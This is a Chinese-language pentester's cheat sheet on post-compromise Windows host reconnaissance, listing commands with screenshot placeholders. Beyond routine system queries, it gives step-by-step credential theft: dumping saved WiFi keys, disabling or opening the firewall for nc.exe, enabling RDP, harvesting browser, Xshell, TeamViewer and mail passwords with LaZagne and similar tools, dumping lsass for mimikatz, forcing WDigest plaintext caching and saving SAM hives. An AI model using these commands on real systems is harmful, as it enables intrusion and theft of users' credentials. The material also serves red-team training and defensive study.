0x00: 前言

本机信息包含:操作系统、权限、内网IP地址段、杀毒软件、端口、服务、补丁更新频率、网络连接、共享会话等。 如果是域内主机,操作系统、应用软件、补丁、服务、杀毒软件一般都是批量安装的。

0x01:查询用户的信息:

(1)查看当前用户及权限:

  1. whoami #查看当前用户及权限

image.png

(2)查看当前主机名:

  1. hostname # 查看当前主机名

image.png

(3) 了解本机的配置信息:

  1. net config Workstation #了解本机的配置信息

image.png

(4)查看主机账号:

  1. net user # 查看主机账号,为定制字典准备

image.png

(5)获取本地管理员信息:

  1. net localgroup administrators #获取本地管理员信息

image.png

(6)列出或断开本地计算机与所连接的客户端之间的会话:

  1. net session #列出或断开本地计算机与所连接的客户端之间的会话

image.png

(7)查看在线用户:

  1. quser # 查看在线用户,注意管理员是否在线

image.png

  1. query user || qwinsta # 查看当前在线的用户

image.png

(8)查看当前保存的登陆凭证:

  1. cmdkey /l # 查看当前保存的登陆凭证,也能看到通的ip

image.png

0x02:获取主机的网络配置信息

(1)查看IP信息:

  1. ipconfig /all # 查看IP信息,可以用来判断是否有域,或者是否存在双网卡

e9ec1b84319422905fa17f7d3d3a764.png

(2)查看内网有价值的arp通信记录:

  1. arp -a# 查看内网有价值的arp通信记录

image.png

(3) 查看路由表:

  1. route print # 查看路由表

image.png

(4)DNS服务器:

  1. nslookup #DNS服务器

image.png

  1. ipconfig /displaydns #DNS缓存

image.png

(5)查看网络连接状态:

  1. netstat -nao # 查看网络连接状态,判断IP段,出网限制端口

image.png

(6)获取本机连接过的WiFi密码:

  1. 获取本机连接过的WiFi密码:
  2. for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
  3. 命令解释:
  4. skip = 9 忽略文件的前9
  5. tokens=1,2 delims=: # 以冒号进行分割,读取每一行的第一列和 第二列
  6. %i 代表读取的第一列, %j 代表读取的第二列
  7. 我们去取netsh wlan show profiles 获取到的wifi名称, 然后在使用 findstr -i -v echo 读取出来
  8. 使用管道符传给 netsh wlan show profiles %j key=clear

image.png

0x03:获取主机的系统信息:

(1)查询操作系统和版本信息

  1. systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" (中文系统)
  2. systeminfo | findstr /B /C:"OS Name" /C:"OS Version" (英文系统)
  3. wmic OS get Caption,CSDVersion,OSArchitecture,Version 使用 wmic 命令查询
  4. /B 在一行的开始配对模式。
  5. /C:string 使用指定字符串作为文字搜索字符串。

image.png

(2) 查看系统信息以及补丁情况:

  1. systeminfo# 查看系统信息以及补丁情况,是否有域
  2. wmic qfe get Caption,Description,HotFixID,InstalledOn # 查看安装的补丁 提权辅助网页
  3. 根据补丁查找exp http://bugs.hacking8.com/tiquan/

image.png
image.png

(3)查看操作系统体系架构:

image.png

(4) 使用wmic 命令查看安装的软件和版本、路径:

  1. wmic product get name,versionInstallLocation
  2. powershell "GET-WmiObject -class Win32_product | Select-Object -Property name,version"

image.png
image.png

(5)查询本机服务信息:

  1. wmic service list brief

image.png

(6)host文件:

  1. type c:\Windows\system32\drivers\etc\hosts #查看本机的host文件

image.png

(7)查询进程列表:

  1. tasklist
  2. wmic process list brief

image.png

image.png

(8) 查看启动程序信息:

  1. wmic startup get command,caption
  2. REG QUERY HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  3. REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

image.png

(9)查看计划任务:

  1. schtasks /query

image.png

(10)查看主机的开机时间:

  1. net statistics workstation

image.png

(11) 查看主机的共享信息:

  1. net share
  2. wmic share get name,path,status

image.png
image.png

(12)查看本地运行环境:

  1. set 查看本地部署了什么环境

image.png

(13)查询防火墙相关配置:

1、查看防火墙配置:

  1. netsh advfirewall show allprofiles

image.png

  1. netsh firewall show config

image.png

2、关闭防火墙:

  1. netsh firewall set opmode mode disable # windows server 2003 及之前的版本
  2. netsh advfirewall set allprofiles state off # windows server 2003之后的版本

3、修改防火墙配置:

  1. windows server 2003 及之前的版本,允许指定程序连接
  2. netsh firewall add allowedprogram c://nc.exe "allow nc" enable
  3. windows server 2003 之后的版本,允许指定程序连接
  4. netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program=c:\nc.exe
  5. 允许指定程序出站
  6. netsh advfirewall firewall add rule name="allow nc" dir=out action=allow program=c:\nc.exe
  7. 允许3389端口放行
  8. netsh advfirewall firewall add rule name="remote desktop" dir=in action=allow protocol=tcp localport=3389

(14)查看代理配置情况:

  1. reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

image.png

(15)查询并开启远程桌面连接服务:

  1. 查询远程桌面服务是否开启
  2. REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"
  3. /v fDenyTSConnections # 查看RDP服务是否开启: 1关闭, 0开启

Windows信息收集 - 图36

  1. 修改注册表启动 rdp
  2. REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

0x04:获取主机的一些重要数据信息:

(1)最近打开文件:

  1. dir C:\Users\[User]\AppData\Roaming\Microsoft\Windows\Recent

image.png

(2)回收站:

  1. cd C:/ #先切换到磁盘根目录。
  2. cd $RECYCLE.BIN

image.png

如上图所示会看到一堆s开头的数,那就是sid,每个系统用户都有一个,要获取属于你自己的回收站,需要知道你的用户sid。执行

  1. wmic useraccount list brief

image.png
之后进入自己的sid文件夹,通过dir命令就可以查看到回收站的内容了。
image.png

(3)浏览器凭证窃取

利器-LaZagne

  1. 下载链接
  2. https://github.com/AlessandroZ/LaZagne
  3. 可以获取如下密码:
  4. chats
  5. mails
  6. all
  7. git
  8. svn
  9. windows
  10. wifi
  11. maven
  12. sysadmin
  13. browsers
  14. games
  15. multimedia
  16. memory
  17. databases
  18. php

Windows信息收集 - 图41

使用nirsoft获取浏览器密码

  1. https://www.nirsoft.net/password_recovery_tools.html

经测试,可以获取IE、Chrome、Firefox等浏览器密码
Windows信息收集 - 图42

(4)获取本地登陆过的QQ账号

  1. cmd : dir \\.\pipe\\ | findstr "QQ_" | findstr "_pipe"
  2. powershell : [System.Text.RegularExpressions.Regex]::Matches([System.IO.Directory]::GetFiles("\\.\\pipe\\"),"QQ_(\d*)_pipe").Groups;

image.png

(5)获取Xshell/xftp密码

  1. https://github.com/HyperSine/how-does-Xmanager-encrypt-password

加密方式:

这一块主要是不同的版本不同的加密方法,大家可自行研究相关的加密方式,这里不过多讲解:

  1. https://github.com/HyperSine/how-does-Xmanager-encrypt-password/blob/master/doc/how-does-Xmanager-encrypt-password.md

xshell路径

  1. xshell 5
  2. %userprofile%\Documents\NetSarang\Xshell\Sessions
  3. xshell 6
  4. %userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions
  5. xshell 7
  6. %userprofile%\Documents\NetSarang Computer\7\Xshell\Sessions

xftp路径

  1. xftp5
  2. %userprofile%\Documents\NetSarang\Xshell\Sessions
  3. XFtp6
  4. %userprofile%\Documents\NetSarang Computer\6\Xftp\Sessions
  5. XFtp7
  6. %userprofile%\Documents\NetSarang Computer\7\Xftp\Sessions

破解

我们来看一下xshell7其存储格式,其保存为.xsh格式
Windows信息收集 - 图44
直接使用sublime打开,可以看到其密码字段为password
Windows信息收集 - 图45

这里面就是我们要破解的密码,直接上工具,使用下面语法:

  1. python XShellCryptoHelper.py -d -ver 7.0 passsword

可以直接获取到相关的密码:
Windows信息收集 - 图46

xftp密码一样的获取方式。

(6)获取teamviewer密码

下载

  1. https://github.com/uknowsec/SharpDecryptPwd

可以看到可以获取teamviewer、winscp等运维软件的密码
Windows信息收集 - 图47
Windows信息收集 - 图48

(7)获取SVN密码

工具

  1. http://www.leapbeyond.com/ric/TSvnPD/TSvnPwd_source.zip
  2. https://github.com/AlessandroZ/LaZagne

使用

由于本机没有svn,所以获取不到密码。但是获取就是这种方式。
Windows信息收集 - 图49

(8)获取邮箱密码

工具

  1. https://www.nirsoft.net/
  2. https://github.com/AlessandroZ/LaZagne

使用

image.png

(9)获取向日葵的重要信息

运行向日葵的免安装版后会在C:\Program Files\Oray\SunLogin\SunloginClient默认路径下生成config.ini配置文件,也可以通过以下命令获取其他安装路径,这个文件存储着我们需要的fastcode:本机识别码,encry_pwd:本机验证码,密文无法直接解密。

  1. findstr /si /n encry_pwd= c:\config.ini
  2. findstr /si /n fastcode= c:\config.ini
  3. findstr /si /n fastcodehistroy= c:\config.ini


在最新版中,配置文件本机识别码并没有存储,以上适用于老版本。但是从配置文件中,我们可以获取到手机号等相关的信息。
image.png

(10)获取到百度网盘的用户名

如果电脑上存在百度网盘,使用3389登陆,查看是否保存了账号和密码。

  1. C:\Users\administrator\AppData\Roaming\baidu\BaiduNetdisk\users

这个就是百度网盘的文件名
image.png

(11)Windows本地hashdump方法:

1、procdump

有个吭wow~ ⊙o⊙,今天才跳进去,最新的procdump,也就是10.1的版本,不能利用它来进行转存lsass.dmp 。
43d61289b6111a08668b15b81579de1.png

操作 Windows10/2012 以下的版本:

上传 procdump 执行命令转存出 lsass.dmp 文件(需要管理员权限)

  1. procdump64.exe -accepteula -ma lsass.exe lsass.dmp

image.png
拿到 mimikatz 文件夹执行命令读明文:】
注意:需要放在相同类型的机器上,读取转存的密码

  1. sekurlsa::minidump lsass.dmp
  2. sekurlsa::logonPasswords full

image.png

image.png

或者手工转存 lsass.dmp 文件,打开任务管理器,选中进程,并且在其中找到 lsass.exe 这一项。
点击之后,电脑会将该文件转储到文件夹里面,我们需要记住这个路径,并且将这个文件复制到 mimikatz 的文件夹里面。

Windows10/2012R2 版本:


默认 Windows10 或者 2012R2 以上的,禁止在内存缓存中保存明文密码。
四步骤:
1、修改注册表
2、锁屏或者退出账号
3、等待目标系统管理员重新登录
4、读取密码

修改注册表来让 Wdigest Auth 保存明文口令:
复原把 1 改为 0

  1. reg add HKLM\SYSTEM\CurrentControlSet\Control\Security\Provider\sWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

锁屏或者退出账号
方法一:

  1. rundll32 user32.dll,LockWorkStation

方法二:生成脚本名称为 lock-screen.ps1

  1. Function Lock-WorkStation {
  2. $signature = @"
  3. [DllImport("user32.dll", SetLastError = true)]
  4. public static extern bool LockWorkStation();
  5. "@
  6. $LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
  7. $LockWorkStation::LockWorkStation() | Out-Null
  8. }
  9. Lock-WorkStation

执行cmd命令

  1. powershell -file lock-screen.ps1

2、sam数据库

  1. reg save hklm\sam .\sam.hive&reg save hklm\system .\system.hive
  2. lsadump::sam /system:sys.hive /sam:sam.hive

image.png

image.png